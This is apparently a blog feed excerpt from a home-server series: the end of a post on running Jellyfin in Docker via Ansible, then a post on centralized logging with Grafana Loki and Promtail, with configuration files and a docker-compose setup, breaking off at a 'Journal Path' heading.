&lt;p&gt;It's the most popular open-source alternative to Plex, with no account requirements and no premium tier — everything is free. No telemetry, no tracking, no "sign in to continue" prompts. You own your data and your server.&lt;/p&gt;

&lt;p&gt;Other options I considered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Plex&lt;/strong&gt; — the most polished option, but requires an account, has a freemium model, and phones home. Some features (hardware transcoding, mobile sync) are locked behind Plex Pass.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Emby&lt;/strong&gt; — started as open source but went proprietary. Similar to Plex in terms of requiring a license for key features.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Navidrome&lt;/strong&gt; — excellent for music, but doesn't handle video.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Jellyfin checked all the boxes: fully open source, no account wall, good client support, and active development.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐳 Running Jellyfin in Docker
&lt;/h2&gt;

&lt;p&gt;Jellyfin runs as a single Docker container. The Ansible playbook uses the &lt;code&gt;docker_container&lt;/code&gt; module (consistent with how I deploy all other services in this home lab):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Ensure Jellyfin container is running&lt;/span&gt;
  &lt;span class="na"&gt;docker_container&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jellyfin&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jellyfin/jellyfin&lt;/span&gt;
    &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;started&lt;/span&gt;
    &lt;span class="na"&gt;restart_policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;published_ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:8096:8096"&lt;/span&gt;
    &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;TZ&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Europe/Budapest"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home/jellyfin/config:/config"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home/jellyfin/cache:/cache"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/mnt/movies:/media:ro"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few things worth noting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Read-only media&lt;/strong&gt;: The movies directory is mounted as &lt;code&gt;:ro&lt;/code&gt; (read-only). Jellyfin only needs to read the files for playback and metadata scanning — it should never modify the source media.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Localhost binding&lt;/strong&gt;: Following the same pattern as all my other services, the port is bound to &lt;code&gt;127.0.0.1&lt;/code&gt; and accessed through my Nginx reverse proxy at &lt;code&gt;https://jellyfin.arcade-lab.io&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Config and cache separation&lt;/strong&gt;: Jellyfin stores its database, metadata, and settings in &lt;code&gt;/config&lt;/code&gt;, and uses &lt;code&gt;/cache&lt;/code&gt; for image resizing and other temporary data. Keeping them separate makes backups cleaner — you only need to back up &lt;code&gt;/config&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🤖 Automating with Ansible
&lt;/h2&gt;

&lt;p&gt;As with everything else in my home lab, the entire setup is automated with Ansible. The playbook handles the full lifecycle:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Checks that Docker is installed&lt;/li&gt;
&lt;li&gt;Creates the config and cache directories&lt;/li&gt;
&lt;li&gt;Starts the Jellyfin container with the correct volumes, ports, and environment variables&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All paths and configuration values live in a variables file that's excluded from version control, keeping sensitive information out of the repository. Running the playbook on a fresh server gets Jellyfin up and running in a single command.&lt;/p&gt;

&lt;h2&gt;
  
  
  🎉 Outcome
&lt;/h2&gt;

&lt;p&gt;With Jellyfin deployed, I now have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;On-demand streaming&lt;/strong&gt; — a Netflix-like interface for browsing and watching my movie collection from any device on the network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Metadata and organization&lt;/strong&gt; — Jellyfin automatically fetches posters, descriptions, ratings, and subtitles for my movies, making the library easy to browse.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fully automated deployment&lt;/strong&gt; — one Ansible playbook sets up everything from directories to the running container.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Noice! 🎉&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/18" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>docker</category>
      <category>containers</category>
      <category>homeserver</category>
    </item>
    <item>
      <title>🏗️ Building my home server P6: Centralized logging with Loki</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:14:42 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-my-home-server-p6-centralized-logging-with-loki-3co5</link>
      <guid>https://dev.to/denesbeck/building-my-home-server-p6-centralized-logging-with-loki-3co5</guid>
      <description>&lt;h1&gt;
  
  
  🏗️ Building my home server: Part 6
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Centralized logging with Loki&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my previous blog post, I covered setting up Pi-hole for network-wide ad blocking and centralized local DNS. In this post, I'm adding centralized log management to my home lab using &lt;a href="https://grafana.com/oss/loki/" rel="noopener noreferrer"&gt;Grafana Loki&lt;/a&gt;. Up until now, if I wanted to check the logs of a specific container, I had to SSH into the server and run &lt;code&gt;docker logs &amp;lt;container&amp;gt;&lt;/code&gt;. For system-level logs, I had to dig through &lt;code&gt;journalctl&lt;/code&gt;. This was fine when things were working, but when something went wrong, jumping between terminals and grepping through logs was tedious. My goal was simple: have a single interface where I can see the logs of every container and the Ubuntu server system, all in one place.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤔 Why Loki?
&lt;/h2&gt;

&lt;p&gt;When it comes to log aggregation, the two main contenders are the &lt;strong&gt;ELK stack&lt;/strong&gt; (Elasticsearch + Logstash + Kibana) and &lt;strong&gt;Grafana Loki&lt;/strong&gt; (with Promtail). I went with Loki for a few reasons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Resource footprint&lt;/strong&gt;: ELK is notoriously memory-hungry. Elasticsearch alone wants 2-4 GB of heap memory, and you'd need three containers (Elasticsearch, Logstash, Kibana) on top of everything else. Loki + Promtail together use around 256-512 MB. On a single-node home lab that's already running Jellyfin, Prometheus, cAdvisor, Grafana, Pi-hole, and several other containers, that difference matters a lot.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Grafana integration&lt;/strong&gt;: I already have Grafana as my monitoring dashboard. Loki is a native Grafana datasource — I can query logs in the same UI where I view my Prometheus metrics. With ELK, I'd need Kibana as a separate UI, which means yet another container, another port, and another Nginx proxy entry.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Log volume&lt;/strong&gt;: ELK shines when you're doing complex full-text search across terabytes of logs per day. My home lab generates maybe a few MB of logs per day across ~13 containers and systemd. Loki's label-based filtering (&lt;code&gt;{container="jellyfin"}&lt;/code&gt;, &lt;code&gt;{unit="ssh.service"}&lt;/code&gt;) is more than sufficient for this scale.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In short, Loki is lightweight, integrates with my existing stack, and is perfectly suited for a home lab environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  🏗️ Architecture
&lt;/h2&gt;

&lt;p&gt;The logging pipeline consists of two components:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Promtail&lt;/strong&gt; is the log collector. It runs as a container, discovers other containers via the Docker socket, reads their log files, and also reads the systemd journal for system-level logs. It ships everything to Loki.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Loki&lt;/strong&gt; is the log aggregation backend. It receives logs from Promtail, indexes them by labels (not by full-text content, which is why it's so lightweight), and exposes them via an API that Grafana can query.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The data flow is: &lt;code&gt;Containers / systemd → Promtail → Loki → Grafana&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 Loki Configuration
&lt;/h2&gt;

&lt;p&gt;Loki needs a configuration file that defines how it stores and manages logs. Here's the configuration I'm using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;auth_enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;http_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3100&lt;/span&gt;
  &lt;span class="na"&gt;grpc_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;9096&lt;/span&gt;

&lt;span class="na"&gt;common&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;instance_addr&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
  &lt;span class="na"&gt;path_prefix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/loki&lt;/span&gt;
  &lt;span class="na"&gt;storage&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;filesystem&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;chunks_directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/loki/chunks&lt;/span&gt;
      &lt;span class="na"&gt;rules_directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/loki/rules&lt;/span&gt;
  &lt;span class="na"&gt;replication_factor&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;ring&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;kvstore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;inmemory&lt;/span&gt;

&lt;span class="na"&gt;schema_config&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2020-10-24&lt;/span&gt;
      &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tsdb&lt;/span&gt;
      &lt;span class="na"&gt;object_store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;filesystem&lt;/span&gt;
      &lt;span class="na"&gt;schema&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v13&lt;/span&gt;
      &lt;span class="na"&gt;index&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;prefix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;index_&lt;/span&gt;
        &lt;span class="na"&gt;period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;24h&lt;/span&gt;

&lt;span class="na"&gt;limits_config&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;reject_old_samples&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="na"&gt;ingestion_rate_mb&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;16&lt;/span&gt;
  &lt;span class="na"&gt;ingestion_burst_size_mb&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;32&lt;/span&gt;
  &lt;span class="na"&gt;retention_period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;360h&lt;/span&gt;

&lt;span class="na"&gt;compactor&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;working_directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/loki/compactor&lt;/span&gt;
  &lt;span class="na"&gt;compaction_interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10m&lt;/span&gt;
  &lt;span class="na"&gt;retention_enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;retention_delete_delay&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2h&lt;/span&gt;
  &lt;span class="na"&gt;delete_request_cancel_period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;24h&lt;/span&gt;
  &lt;span class="na"&gt;delete_request_store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;filesystem&lt;/span&gt;

&lt;span class="na"&gt;ruler&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;alertmanager_url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://localhost:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few things worth noting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;auth_enabled: false&lt;/code&gt;&lt;/strong&gt;: Since this is a home lab behind a firewall, I don't need multi-tenancy or authentication at the Loki level. Grafana handles access control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;store: tsdb&lt;/code&gt; with &lt;code&gt;schema: v13&lt;/code&gt;&lt;/strong&gt;: This is the current recommended storage engine. Older guides might reference &lt;code&gt;boltdb-shipper&lt;/code&gt; with &lt;code&gt;v11&lt;/code&gt;, but those are deprecated in recent Loki versions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;retention_period: 360h&lt;/code&gt;&lt;/strong&gt;: This keeps logs for 15 days, matching my Prometheus retention. Logs older than 15 days are automatically cleaned up by the compactor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;delete_request_store: filesystem&lt;/code&gt;&lt;/strong&gt;: This is required when retention is enabled — without it, Loki will refuse to start with a validation error.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔧 Promtail Configuration
&lt;/h2&gt;

&lt;p&gt;Promtail needs to know where to find logs and where to ship them. Here's the configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;http_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;9080&lt;/span&gt;
  &lt;span class="na"&gt;grpc_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;

&lt;span class="na"&gt;positions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;filename&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/tmp/positions.yaml&lt;/span&gt;

&lt;span class="na"&gt;clients&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://loki:3100/loki/api/v1/push&lt;/span&gt;

&lt;span class="na"&gt;scrape_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker_logs&lt;/span&gt;
    &lt;span class="na"&gt;docker_sd_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unix:///var/run/docker.sock&lt;/span&gt;
        &lt;span class="na"&gt;refresh_interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;5s&lt;/span&gt;
    &lt;span class="na"&gt;relabel_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__meta_docker_container_name'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;target_label&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;container'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__meta_docker_container_image'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;target_label&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;image'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__meta_docker_container_id'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;target_label&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__path__'&lt;/span&gt;
        &lt;span class="na"&gt;replacement&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/var/lib/docker/containers/$1/*-json.log'&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;system_logs&lt;/span&gt;
    &lt;span class="na"&gt;journal&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/run/log/journal&lt;/span&gt;
      &lt;span class="na"&gt;max_age&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;12h&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;system&lt;/span&gt;
    &lt;span class="na"&gt;relabel_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__journal__systemd_unit'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;target_label&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;unit'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__journal__hostname'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;target_label&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;host'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two scrape jobs here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker_logs&lt;/code&gt;&lt;/strong&gt;: Uses Docker service discovery (&lt;code&gt;docker_sd_configs&lt;/code&gt;) to automatically find all running containers via the Docker socket. It reads each container's JSON log file from &lt;code&gt;/var/lib/docker/containers/&lt;/code&gt; and labels the logs with the container name and image. This means every container is picked up automatically — no manual configuration needed when I add new services.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;system_logs&lt;/code&gt;&lt;/strong&gt;: Reads the systemd journal to capture system-level logs. This covers everything that goes through systemd: SSH, Nginx, Samba, cron jobs, and any other system services. Each log entry is labeled with the systemd unit name and hostname.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🐳 Docker Compose
&lt;/h2&gt;

&lt;p&gt;With the configuration files in place, I added both services to my existing monitoring &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;promtail&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/promtail:3.4.2-amd64&lt;/span&gt;
  &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;promtail&lt;/span&gt;
  &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;promtail&lt;/span&gt;
  &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;root&lt;/span&gt;
  &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/log:/var/log:ro&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./promtail:/etc/promtail:ro&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/log/journal:/run/log/journal:ro&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/etc/machine-id:/etc/machine-id:ro&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/lib/docker/containers:/var/lib/docker/containers:ro&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/run/docker.sock:/var/run/docker.sock:ro&lt;/span&gt;
  &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;-config.file=/etc/promtail/config.yml&lt;/span&gt;
  &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;loki&lt;/span&gt;
  &lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;monitoring&lt;/span&gt;
  &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;

&lt;span class="na"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/loki:latest&lt;/span&gt;
  &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki&lt;/span&gt;
  &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki&lt;/span&gt;
  &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;loki_data:/loki&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./loki-config.yml:/etc/loki/local-config.yaml&lt;/span&gt;
  &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;-config.file=/etc/loki/local-config.yaml&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;-config.expand-env=true&lt;/span&gt;
  &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:3100:3100"&lt;/span&gt;
  &lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;monitoring&lt;/span&gt;
  &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There were a few gotchas I ran into during setup that are worth mentioning:&lt;/p&gt;

&lt;h3&gt;
  
  
  Promtail Image
&lt;/h3&gt;

&lt;p&gt;The default &lt;code&gt;grafana/promtail:latest&lt;/code&gt; image does &lt;strong&gt;not&lt;/strong&gt; include systemd journal support. If you use it, Promtail will log a warning saying journal support is not compiled in, and your system logs simply won't appear. The platform-specific images (e.g., &lt;code&gt;grafana/promtail:3.4.2-amd64&lt;/code&gt; for x86_64 or the &lt;code&gt;-arm64&lt;/code&gt; variant for ARM) include journal support.&lt;/p&gt;

&lt;h3&gt;
  
  
  Journal Path
&lt;/h3&gt;

